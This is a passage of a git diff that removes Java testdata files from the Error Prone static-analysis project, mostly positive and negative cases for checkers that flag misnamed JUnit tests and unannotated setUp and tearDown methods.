extends the above bad implementation Diagnostic should bypass this */ - public static class MyBadListInherited extends MyBadList { - public MyBadListInherited() {} - } - - /** Test List that implements only Iterator */ - public static class MyGoodList implements Iterator { - private MyNode head; - - public MyGoodList() { - head = null; - } - - @Override - public boolean hasNext() { - return head != null; - } - - @Override - public MyNode next() { - if (hasNext()) { - MyNode ret = head; - head = head.next; - return ret; - } - return null; - } - - @Override - public void remove() { - throw new UnsupportedOperationException("remove is not supported"); - } - - public void add(MyNode node) { - if (!hasNext()) { - head.next = node; - } - head = node; - } - } - - /** Test List that implicitly implements both interfaces */ - // BUG: Diagnostic contains: both - public static class MyImplicitlyBadList extends MyGoodList implements Iterable { - - public MyImplicitlyBadList() {} - - @Override - public Iterator iterator() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase1.java deleted file mode 100644 index f06a944dfad..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase1.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Ignore; -import org.junit.Test; - -/** - * @author rburny@google.com (Radoslaw Burny) - */ -public class JUnit3TestNotRunNegativeCase1 extends TestCase { - - // correctly spelled - public void test() {} - - public void testCorrectlySpelled() {} - - // real words - public void bestNameEver() {} - - public void destroy() {} - - public void restore() {} - - public void establish() {} - - public void estimate() {} - - // different signature - public boolean teslaInventedLightbulb() { - return true; - } - - public void tesselate(float f) {} - - // surrounding class is not a JUnit3 TestCase - private static class TestCase { - private void tesHelper() {} - - private void destroy() {} - } - - // correct test, despite redundant annotation - @Test - public void testILikeAnnotations() {} - - // both @Test & @Ignore - @Test - @Ignore - public void ignoredTest2() {} - - @Ignore - @Test - public void ignoredTest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase2.java deleted file mode 100644 index 3d72ff6f5c4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase2.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * JUnit4 test class - we should not issue errors on that. - * - * @author rburny@google.com (Radoslaw Burny) - */ -@RunWith(JUnit4.class) -public class JUnit3TestNotRunNegativeCase2 { - - // JUnit4 tests should be ignored, no matter what their names are. - @Test - public void nameDoesNotStartWithTest() {} - - @Test - public void tesName() {} - - @Test - public void tstName() {} - - @Test - public void TestName() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase3.java deleted file mode 100644 index 62b72abfb98..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase3.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runner.Runner; - -/** - * Tricky case - mixed JUnit3 and JUnit4. - * - * @author rburny@google.com (Radoslaw Burny) - */ -@RunWith(Runner.class) -public class JUnit3TestNotRunNegativeCase3 extends TestCase { - - @Test - public void name() {} - - public void tesMisspelled() {} - - @Test - public void tesBothIssuesAtOnce() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase4.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase4.java deleted file mode 100644 index 697f7ac2530..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase4.java +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Test; - -/** - * Abstract class - let's ignore those for now, it's hard to say what are they run with. - * - * @author rburny@google.com (Radoslaw Burny) - */ -public abstract class JUnit3TestNotRunNegativeCase4 extends TestCase { - - @Test - public void name() {} - - public void tesMisspelled() {} - - @Test - public void tesBothIssuesAtOnce() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase5.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase5.java deleted file mode 100644 index 0dbc162e399..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunNegativeCase5.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.Test; - -/** - * Class inherits RunWith from superclass, so should not emit errors. - * - * @author rburny@google.com (Radoslaw Burny) - */ -public class JUnit3TestNotRunNegativeCase5 extends JUnit3TestNotRunNegativeCase3 { - - public void testEasyCase() {} - - @Test - public void name() {} - - public void tesMisspelled() {} - - @Test - public void tesBothIssuesAtOnce() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunPositiveCases.java deleted file mode 100644 index 4cb41ecc79d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit3TestNotRunPositiveCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; - -/** - * @author rburny@google.com (Radoslaw Burny) - */ -public class JUnit3TestNotRunPositiveCases extends TestCase { - // BUG: Diagnostic contains: JUnit3TestNotRun - public static void tesNameStatic() {} - - // These names are trickier to correct, but we should still indicate the bug - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tetsName() {} - - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tesstName() {} - - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tesetName() {} - - // BUG: Diagnostic contains: JUnit3TestNotRun - public void tesgName() {} - - // tentative - can cause false positives - // BUG: Diagnostic contains: JUnit3TestNotRun - public void textName() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunNegativeCases.java deleted file mode 100644 index aa0dcccce50..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunNegativeCases.java +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Before; -import org.junit.internal.runners.JUnit38ClassRunner; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Not a JUnit 4 test (no @RunWith annotation on the class). */ -public class JUnit4SetUpNotRunNegativeCases { - public void setUp() {} -} - -@RunWith(JUnit38ClassRunner.class) -class J4SetUpWrongRunnerType { - public void setUp() {} -} - -@RunWith(JUnit4.class) -class J4SetUpCorrectlyDone { - @Before - public void setUp() {} -} - -/** May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. */ -@RunWith(JUnit4.class) -class J4SetUpJUnit3Class extends TestCase { - public void setUp() {} -} - -/** setUp() method is private and wouldn't be run by JUnit3 */ -@RunWith(JUnit4.class) -class J4PrivateSetUp { - private void setUp() {} -} - -/** - * setUp() method is package-local. You couldn't have a JUnit3 test class with a package-private - * setUp() method (narrowing scope from protected to package) - */ -@RunWith(JUnit4.class) -class J4PackageLocalSetUp { - void setUp() {} -} - -@RunWith(JUnit4.class) -class J4SetUpNonVoidReturnType { - int setUp() { - return 42; - } -} - -/** setUp() has parameters */ -@RunWith(JUnit4.class) -class J4SetUpWithParameters { - public void setUp(int ignored) {} - - public void setUp(boolean ignored) {} - - public void setUp(String ignored) {} -} - -/** setUp() method is static and wouldn't be run by JUnit3 */ -@RunWith(JUnit4.class) -class J4StaticSetUp { - public static void setUp() {} -} - -abstract class SetUpAnnotatedBaseClass { - @Before - public void setUp() {} -} - -/** setUp() method overrides parent method with @Before. It will be run by JUnit4BlockRunner */ -@RunWith(JUnit4.class) -class J4SetUpExtendsAnnotatedMethod extends SetUpAnnotatedBaseClass { - public void setUp() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java deleted file mode 100644 index 9b38b18bb2e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Slightly funky test case with a custom Before annotation */ -@RunWith(JUnit4.class) -public class JUnit4SetUpNotRunPositiveCaseCustomBefore { - // This will compile-fail and suggest the import of org.junit.Before - // BUG: Diagnostic contains: @Before - @Before - public void setUp() {} -} - -@interface Before {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java deleted file mode 100644 index 9d10c741cf0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCaseCustomBefore2.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Test case with a custom Before annotation. */ -@RunWith(JUnit4.class) -public class JUnit4SetUpNotRunPositiveCaseCustomBefore2 { - // This will compile-fail and suggest the import of org.junit.Before - // BUG: Diagnostic contains: @Before - @Before - public void initMocks() {} - - // BUG: Diagnostic contains: @Before - @Before - protected void badVisibility() {} -} - -@interface Before {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCases.java deleted file mode 100644 index c4839fa424b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4SetUpNotRunPositiveCases.java +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.After; -import org.junit.AfterClass; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Basic class with an untagged setUp method */ -@RunWith(JUnit4.class) -public class JUnit4SetUpNotRunPositiveCases { - // BUG: Diagnostic contains: @Before - public void setUp() {} -} - -@RunWith(JUnit4.class) -class J4PositiveCase2 { - // BUG: Diagnostic contains: @Before - protected void setUp() {} -} - -/** - * Replace @After with @Before - */ -@RunWith(JUnit4.class) -class J4AfterToBefore { - // BUG: Diagnostic contains: @Before - @After - protected void setUp() {} -} - -/** - * Replace @AfterClass with @BeforeClass - */ -@RunWith(JUnit4.class) -class J4AfterClassToBeforeClass { - // BUG: Diagnostic contains: @BeforeClass - @AfterClass - protected void setUp() {} -} - -class BaseTestClass { - void setUp() {} -} - -/** - * This is the ambiguous case that we want the developer to make the determination as to - * whether to rename setUp() - */ -@RunWith(JUnit4.class) -class J4Inherit extends BaseTestClass { - // BUG: Diagnostic contains: @Before - protected void setUp() {} -} - -/** - * setUp() method overrides parent method with @Override, but that method isn't @Before in the - * superclass - */ -@RunWith(JUnit4.class) -class J4OverriddenSetUp extends BaseTestClass { - // BUG: Diagnostic contains: @Before - @Override protected void setUp() {} -} - -@RunWith(JUnit4.class) -class J4OverriddenSetUpPublic extends BaseTestClass { - // BUG: Diagnostic contains: @Before - @Override public void setUp() {} -} - diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunNegativeCases.java deleted file mode 100644 index d8ffe39c0ab..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunNegativeCases.java +++ /dev/null @@ -1,91 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.After; -import org.junit.internal.runners.JUnit38ClassRunner; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Not a JUnit 4 class (no @RunWith annotation on the class). */ -public class JUnit4TearDownNotRunNegativeCases { - public void tearDown() {} -} - -@RunWith(JUnit38ClassRunner.class) -class J4TearDownDifferentRunner { - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownHasAfter { - @After - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownExtendsTestCase extends TestCase { - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownPrivateTearDown { - private void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownPackageLocal { - void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownNonVoidReturnType { - int tearDown() { - return 42; - } -} - -@RunWith(JUnit4.class) -class J4TearDownTearDownHasParameters { - public void tearDown(int ignored) {} - - public void tearDown(boolean ignored) {} - - public void tearDown(String ignored) {} -} - -@RunWith(JUnit4.class) -class J4TearDownStaticTearDown { - public static void tearDown() {} -} - -abstract class TearDownAnnotatedBaseClass { - @After - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownInheritsFromAnnotatedMethod extends TearDownAnnotatedBaseClass { - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownInheritsFromAnnotatedMethod2 extends TearDownAnnotatedBaseClass { - @After - public void tearDown() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java deleted file mode 100644 index 22ab106f288..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Slightly funky test case with a custom After annotation) */ -@RunWith(JUnit4.class) -public class JUnit4TearDownNotRunPositiveCaseCustomAfter { - // This will compile-fail and suggest the import of org.junit.After - // BUG: Diagnostic contains: @After - @After - public void tearDown() {} -} - -@interface After {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java deleted file mode 100644 index 22ce1309848..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCaseCustomAfter2.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Test case with a custom After annotation. */ -@RunWith(JUnit4.class) -public class JUnit4TearDownNotRunPositiveCaseCustomAfter2 { - // This will compile-fail and suggest the import of org.junit.After - // BUG: Diagnostic contains: @After - @After - public void tidyUp() {} -} - -@interface After {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCases.java deleted file mode 100644 index c424bfc5a91..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TearDownNotRunPositiveCases.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.Before; -import org.junit.BeforeClass; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * @author glorioso@google.com - */ -@RunWith(JUnit4.class) -public class JUnit4TearDownNotRunPositiveCases { - // BUG: Diagnostic contains: @After - public void tearDown() {} -} - -@RunWith(JUnit4.class) -class JUnit4TearDownNotRunPositiveCase2 { - // BUG: Diagnostic contains: @After - protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4BeforeToAfter { - // BUG: Diagnostic contains: @After - @Before protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4BeforeClassToAfterClass { - // BUG: Diagnostic contains: @AfterClass - @BeforeClass protected void tearDown() {} -} - -class TearDownUnannotatedBaseClass { - void tearDown() {} -} - -@RunWith(JUnit4.class) -class JUnit4TearDownNotRunPositiveCase3 extends TearDownUnannotatedBaseClass { - // BUG: Diagnostic contains: @After - protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownHasOverride extends TearDownUnannotatedBaseClass { - // BUG: Diagnostic contains: @After - @Override protected void tearDown() {} -} - -@RunWith(JUnit4.class) -class J4TearDownHasPublicOverride extends TearDownUnannotatedBaseClass { - // BUG: Diagnostic contains: @After - @Override public void tearDown() {} -} - - diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunBaseClass.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunBaseClass.java deleted file mode 100644 index 685e67fe2f7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunBaseClass.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * Base class for test cases to extend. - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunBaseClass { - @Before - public void testSetUp() {} - - @After - public void testTearDown() {} - - @Test - public void testOverrideThis() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase1.java deleted file mode 100644 index 40cdd317436..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase1.java +++ /dev/null @@ -1,26 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Not a JUnit 4 test (no @RunWith annotation on the class). - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class JUnit4TestNotRunNegativeCase1 { - public void testThisIsATest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase2.java deleted file mode 100644 index 807df0d64a7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase2.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.internal.runners.JUnit38ClassRunner; -import org.junit.runner.RunWith; - -/** - * Not a JUnit 4 test (run with a JUnit3 test runner). - * - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit38ClassRunner.class) -public class JUnit4TestNotRunNegativeCase2 { - public void testThisIsATest() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase3.java deleted file mode 100644 index 9df4ac4d469..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase3.java +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.junit.*; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -@RunWith(JUnit4.class) -public class JUnit4TestNotRunNegativeCase3 { - // Doesn't begin with "test", and doesn't contain any assertion-like method invocations. - public void thisIsATest() {} - - // Isn't public. - void testTest1() {} - - // Have checked annotation. - @Test - public void testTest2() {} - - @Before - public void testBefore() {} - - @After - public void testAfter() {} - - @BeforeClass - public void testBeforeClass() {} - - @AfterClass - public void testAfterClass() {} - - // Has parameters. - public void testTest3(int foo) {} - - // Doesn't return void - public int testSomething() { - return 42; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase4.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase4.java deleted file mode 100644 index a1573e6dca8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/JUnit4TestNotRunNegativeCase4.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** - * May be a JUnit 3 test -- has @RunWith annotation on the class but also extends TestCase. - * 